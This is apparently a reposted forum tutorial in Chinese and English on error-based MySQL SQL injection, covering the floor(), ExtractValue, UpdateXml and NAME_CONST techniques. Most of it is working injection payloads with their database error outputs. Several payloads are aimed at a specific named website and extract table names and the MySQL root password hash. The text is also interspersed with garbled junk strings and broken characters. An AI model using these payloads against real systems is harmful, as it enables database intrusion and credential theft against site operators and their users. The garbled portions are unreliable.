mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
' ]6 [# v1 [5 Z2 i2 e+ L0 ?首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
5 _, {9 s+ q0 ^( {& || id | title | content |
0 m; h/ ~! Q8 m/ ~: e9 D, L5 g+—-+——-+———+
|  1 | test  | do it   |
2 \; j9 j* }: g& y6 y. c4 T. V( Y+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
6 d: [! Q3 m; O: z# r$ hERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
9 b4 P$ j/ }. ~' p9 u/ {- j! wERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

- n( f0 M, F9 h+ M

再收集：

( d/ [3 d: l. t, phttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
) R+ ?& X$ ?$ O
3 R. c# e" I/ M) KErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

" ^2 a( p. c  U6 qhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
5 p# w6 M4 v- e( b
MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
4 Q8 V2 B$ `. ]- L8 ]7 y1 V0 |0 X

相关信息

/ y0 T9 s0 B, \* X, FNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
: {4 a2 @! H: P) P1 ~  d
Code:
! W6 f$ L  c0 M0 d7 K' KNAME_CONST(DATA, VALUE)
" ~6 G$ p1 Z6 @% S+ n8 w. }
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.

6 n9 I, J3 d4 \3 MSELECT NAME_CONST('TEST', 1)
$ R6 ?7 B1 d6 y. s' a* h
8 Z% o5 \# N- \1 d/ L
! u' A. v& p' h- ^
|---------------|
# a, x8 H" @" e+ {+ N|     TEST      |
  v& D" z  k; B& Y: L; k$ f|               |
|---------------|
|       1       |
! \# t% C* f) _# Y/ r! T7 ^|               |
|---------------|
$ T3 k5 p( D8 {' i/ L; I
  y, r" V4 _( K1 O


http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
. j% m+ C. L# ^7 [. c4 A. _
2 m9 a* K. M& W' G, YOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

/ Q7 i, z7 U4 u8 ~. p" LCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
7 R: ?+ m! ]; J4 e- H! |2 ?( g* t
: X. q0 Z; ^, n; B' _* W


: h3 @8 g7 f- s. J6 H4 k! t
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
/ Y) [$ }# d8 V+ O8 i9 ~- P
0 q4 P7 i* l' N5 ^
5 X8 |! M) b7 Q+ ]: P+ kVAR = Your MySQL variable.

  C7 }8 L8 Y! |. NMySQL 5.1.3 Server System Variables

Let's try it out on my site..
# r% N. {( v8 z$ Y  `* a& b! M
Code:
6 }, `! N$ Q' J6 ?* h! U3 b9 Qhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
* H: e4 R+ @: A; b6 H* H
Erroruplicate column name '5.0.27-community-nt'
! H. V# M6 R9 I( a" k* v. ~



/ m- _5 L" L' P4 u
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
( U2 I& q4 ~  c) U* B* V7 j
Data Extraction

Code:
) z+ c' K, z' p! F# E+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
& E. F& g9 u' g2 ?
1 I. ?1 H& }7 ?8 e
" p# P9 O7 I1 J$ [) s; c/ E% L( i' lWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
8 g# f& ~# L1 n. y' o; r/ u( X




3 |3 Q& M$ Q5 |
; C; I. l+ l  RNow let's get the tables out this bitch..

6 g: u! E3 u, ~  c" Y8 QCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

% I$ r1 b6 {! [Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ R( |  G6 q2 v& x/ j
1 o) C! B7 G! {7 p
Erroruplicate column name 'com_admanage
- Z, R3 N6 \. @) h! d8 ^2 b
9 p4 d: B/ ]3 l3 Q$ D  X- z

2 Q5 O  {- y( G7 l5 V; d

' S8 q$ N+ d5 k) g9 @
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
0 }" F- a  c7 d0 ?8 ^
Let's get the columns out of the user table..
5 Y; j6 p- r# @, n) R# ^
Code:
9 q& {9 E" w9 g/ X$ S+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

- Z& E' T& L& G% o+ g
" v2 [, p( f% p9 USo mine looks like this, and I get the duplicate column name 'Host'.
8 _1 o+ ~# N$ ]# S* o! Q
Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--
' `- d. O* \4 ]- j
Erroruplicate column name 'Host'
  i; w' {6 H* n4 m5 N- d8 y5 C
+ D0 G3 z0 v6 I0 d




' K8 @6 H- f  k' |6 VWoot, time to finish this bitch off.
; P% I8 k3 \. ^$ T
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


$ o4 B+ i1 z0 d6 eSo mine looks like this...
8 E7 s2 \# b; ?/ \# T
8 h7 u  c1 f5 m4 d3 o3 wCode:
; u: b9 J3 a: D( Yhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
% M& E, t* b  {  _+ T
$ D) J$ |5 `) m( |
+ T, U, Y: r, }: a! H! s
/ U% W3 F7 [4 x


And there we have it, thanks for reading.

* y% r' B0 C; t4 Q3 p7 }5 a6 a4 i